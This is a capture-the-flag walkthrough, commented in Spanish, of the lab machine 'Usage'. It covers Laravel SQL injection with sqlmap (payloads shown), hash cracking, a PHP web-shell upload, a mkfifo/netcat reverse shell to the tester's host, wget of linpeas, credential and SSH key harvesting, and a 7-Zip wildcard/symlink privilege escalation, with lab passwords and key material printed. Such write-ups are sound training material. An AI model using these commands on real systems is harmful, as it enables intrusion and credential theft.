Usage

nmap

```
nmap -sC -sV 10.10.11.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-20 22:17 CEST
Nmap scan report for 10.10.11.18
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

```
cat /etc/hosts
10.10.11.18     usage.htb
```

```
#Nos creamos una cuenta, y accedemos a http://usage.htb/dashboard.
#Utilizaremos esta extensión.
https://addons.mozilla.org/es/firefox/addon/wappalyzer/
```

```
#También podremos identificar el tipo de web con este comando.
whatweb http://usage.htb/
http://usage.htb/ [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session],
IP[10.10.11.18], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
```

```
#Vemos que está utilizando el framework "Laravel".
```

```
#Encontramos una vulnerabilidad en este framework.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/laravel?source=post_page-----f1c2793eeb7e----------------------------
```

```
gobuster dns -d usage.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     usage.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: admin.usage.htb
```

```
#Añadimos el dominio en /etc/hosts.
admin.usage.htb
```

```
#Ahora utilizaremos sqlmap para buscar vulnerabilidades de SQLI.
#Nos guardamos la request POST en un fillero llamado request.txt
```

```
sqlmap -r request.txt  -p 'email' --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch --dbs --dump --threads 3
sqlmap -r request.txt  -p 'email' --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch -D usage_blog --tables --dump --threads 3
sqlmap -r request.txt  -p 'email' --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch -D usage_blog -T admin_users --dump --threads 3
```

sqlmap

```
sqlmap -r request.txt -p email -D usage_blog -T admin_users --dump --threads 3
```

```
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:18:53 /2024-05-14/

[20:18:53] [INFO] parsing HTTP request from 'request.txt'
[20:18:54] [INFO] resuming back-end DBMS 'mysql'
[20:18:54] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n]

redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n]

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=acmBwaITXAZm8TVIuTg2Bk4Ao7R79rvytsQ5zd2N&email=test@test.com' AND 8588=(SELECT (CASE WHEN (8588=8588) THEN 8588 ELSE (SELECT 8411 UNION SELECT 1945) END))-- -

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: _token=acmBwaITXAZm8TVIuTg2Bk4Ao7R79rvytsQ5zd2N&email=test@test.com' AND 2536=BENCHMARK(5000000,MD5(0x64446d41))-- RSbF
---
[20:20:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL < 5.0.12
[20:20:34] [INFO] fetching columns for table 'admin_users' in database 'usage_blog'
[20:20:34] [INFO] resumed: 8
[20:20:34] [INFO] retrieving the length of query output
[20:20:34] [INFO] resumed: 2
[20:20:34] [INFO] resumed: id
[20:20:34] [INFO] retrieving the length of query output
[20:20:34] [INFO] resumed: 8
[20:20:34] [INFO] resumed: username
[20:20:34] [INFO] retrieving the length of query output
[20:20:34] [INFO] retrieved:
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n]


8
[20:21:06] [INFO] retrieved: password
[20:21:06] [INFO] retrieving the length of query output
[20:21:06] [INFO] retrieved: 4
[20:21:22] [INFO] retrieved: name
[20:21:22] [INFO] retrieving the length of query output
[20:21:22] [INFO] retrieved: 6
[20:21:46] [INFO] retrieved: avatar
[20:21:46] [INFO] retrieving the length of query output
[20:21:46] [INFO] retrieved: 14
[20:22:38] [INFO] retrieved: remember_token
[20:22:38] [INFO] retrieving the length of query output
[20:22:38] [INFO] retrieved: 10
[20:23:17] [INFO] retrieved: created_at
[20:23:17] [INFO] retrieving the length of query output
[20:23:17] [INFO] retrieved: 10
[20:24:01] [INFO] retrieved: updated_at
[20:24:01] [INFO] fetching entries for table 'admin_users' in database 'usage_blog'
[20:24:01] [INFO] fetching number of entries for table 'admin_users' in database 'usage_blog'
[20:24:01] [INFO] retrieved: 1
[20:24:05] [INFO] retrieving the length of query output
[20:24:05] [INFO] retrieved: 13
[20:24:58] [INFO] retrieved: Administrator
[20:24:58] [INFO] retrieving the length of query output
[20:24:58] [INFO] retrieved: 0
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N]

[20:25:01] [WARNING] (case) time-based comparison requires reset of statistical model, please wait..... (done)
```

```
[20:25:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions

[20:25:59] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[20:25:59] [INFO] retrieving the length of query output
[20:25:59] [INFO] retrieved: 19
[20:27:11] [INFO] retrieved: 2023-08-13 02:48:26
[20:27:11] [INFO] retrieving the length of query output
[20:27:11] [INFO] retrieved: 1
[20:27:15] [INFO] retrieved: 1
[20:27:20] [INFO] retrieving the length of query output
[20:27:20] [INFO] retrieved: 60
[20:31:15] [INFO] retrieved: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
[20:31:15] [INFO] retrieving the length of query output
[20:31:15] [INFO] retrieved: 60
[20:35:03] [INFO] retrieved: kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT
[20:35:03] [INFO] retrieving the length of query output
[20:35:03] [INFO] retrieved: 19
[20:36:12] [INFO] retrieved: 2023-08-23 06:02:19
[20:36:12] [INFO] retrieving the length of query output
[20:36:12] [INFO] retrieved: 5
[20:36:39] [INFO] retrieved: admin
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+----------------------------------------------------------------+----------+---------------------+---------------------+----------------------------------------------------------------+
| id | name          | avatar  | password                                                       | username | created_at          | updated_at          | remember_token                                                 |
+----+---------------+---------+----------------------------------------------------------------+----------+---------------------+---------------------+----------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+----------------------------------------------------------------+----------+---------------------+---------------------+----------------------------------------------------------------+

[20:36:39] [INFO] table 'usage_blog.admin_users' dumped to CSV file '/root/.local/share/sqlmap/output/usage.htb/dump/usage_blog/
admin_users.csv'
[20:36:39] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 858 times
[20:36:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/usage.htb'

[*] ending @ 20:36:39 /2024-05-14/

#Guardamos el hash en un fichero.
#Buscamos que tipo de hash se trata.
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 - Possible algorithms: bcrypt $2*$, Blowfish (Unix)

#Creackearemos el hash con hascat.
```

hashcat

```
hashcat hash.txt -a 0 -m 3200 --wordlist /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 7 3700U with Radeon Vega Mobile Gfx, 2918/5901 MB (1024 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1
```

user.txt

#Iniciaremos sesión en: admin.usage.htb con las credenciales.

user --> admin
passwd --> whatever1

#Dentro de la web, nos dirigimos a: http://admin.usage.htb/admin/auth/setting
#Podemos descargar el .jpg, trataremos de modificarlo con un revrshell.

#A la hora de subir el .php, añadiremos la extensión al "filename=<.jpg>.php".

#Nos dirigimos a http://admin.usage.htb/uploads/images/shell.jpg.php, para ejecutar p0wnyshell.

#Nos conectamos
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.203 4444 >/tmp/f

#Tenemos un shell.
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.203] from (UNKNOWN) [10.10.11.18] 56826
/bin/sh: 0: can't access tty; job control turned off
$ whoami
dash

$ wget http://10.10.14.203/linpeas.sh
--2024-05-15 21:12:13-- http://10.10.14.203/linpeas.sh
Connecting to 10.10.14.203:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 134168 (131K) [text/x-sh]
Saving to: 'linpeas.sh'

     0K 38% 191K 0s
    50K 76% 387K 0s
   100K ....   100% 7.32M=0.4s

2024-05-15 21:12:14 (331 KB/s) - 'linpeas.sh' saved [134168/134168]

$ dir
linpeas.sh
$ chmod +x linpeas.sh
./linepeas

#Encontramos algunas claves ssh.

[+] Looking for ssl/ssh files
/home/dash/.ssh/id_rsa.pub
/home/dash/.ssh/id_rsa
/home/dash/.ssh/authorized_keys
PermitRootLogin prohibit-password
PermitRootLogin yes
PubkeyAuthentication yes
PasswordAuthentication yes
UsePAM yes
Private SSH keys found!:
/home/dash/.ssh/id_rsa
  --> Some certificates were found:

root

#Realizaremos un movimiento lateral
at /etc/passwd | grep -E ^*bin/bash$
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash

$ dir
authorized_keys id_rsa id_rsa.pub
$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA3TGrilF/7YzwawPZg0LvRlkEMJSJQxCXwxT+kY93SpmpnAL0U73Y
RnNLYdwGVjYbO45FtII1B/MgQI2yCNrxl/1Z1JvRSQ97T8T9M+xmxLzIhFR4HGI4HTOnGQ
...
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----
$ sudo -l

#Realizaremos una técnica llamada “Wildcards Spare tricks” https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks.
#Primero, nos conectaremos con la clave ssh obtenida anteriormente.
chmod 400 id_rsa

┌──(root㉿kali)-[~/Downloads]
└─#

┌──(root㉿kali)-[~/Downloads]
└─# ssh -i id_rsa dash@10.10.11.18
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/pro

  System information as of Wed May 15 09:49:10 PM UTC 2024

  System load: 0.0205078125   Processes: 247
  Usage of /:   70.5% of 6.53GB   Users logged in: 1
  Memory usage: 28%   IPv4 address for eth0: 10.10.11.18
  Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed May 15 20:42:35 2024 from 10.10.14.169

#Vemos credencilaes.
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert

#System Monitoring
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert

```
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert



strings /usr/bin/usage_management
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password

#Nos conectamos al usuario xandrer.
user --> xander
passwd --> 3nc0d3d_pa$$w0rd

ssh -i id_rsa2 xander@10.10.11.18
xander@10.10.11.18's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Wed May 15 10:40:56 PM UTC 2024

  System load:  0.119140625       Processes:               230
  Usage of /:   66.6% of 6.53GB   Users logged in:         0
  Memory usage: 21%               IPv4 address for eth0: 10.10.11.18
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

xander@usage:~$

#Nos dirigimos a /var/www/html y escribimos:

xander@usage:/var/www/html$ touch @id_rsa
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz (50657),ASM,AES-NI)

Open archive: /var/backups/project.zip
--
```

```
Path = /var/backups/project.zip
Type = zip
Physical Size = 54871447

Scanning the drive:

WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----


WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW


WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjJa6g3QAAAJAfwyJCH8Mi


WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjJa6g3Q


WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs


WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=


WARNING: No more files
-----END OPENSSH PRIVATE KEY-----



ERROR:
stat error for ./root.txt (No such file or directory)

#Ya tenemos la private key.
#Lo guardamos en un fillero lllamado id_rsa3, sin espacios.
#Nos conectamos y somos root.

chmod 400 id_rsa3

┌──(root㉿kali)-[~/Desktop/machines/Usage]
└─# ssh -i id_rsa3 root@10.10.11.18
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

  System information as of Thu May 16 12:12:02 AM UTC 2024

  System load:  0.56591796875     Processes:               248
  Usage of /:   65.7% of 6.53GB   Users logged in:         1
  Memory usage: 22%               IPv4 address for eth0: 10.10.11.18
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Apr  8 13:17:47 2024 from 10.10.14.40
root@usage:~#
```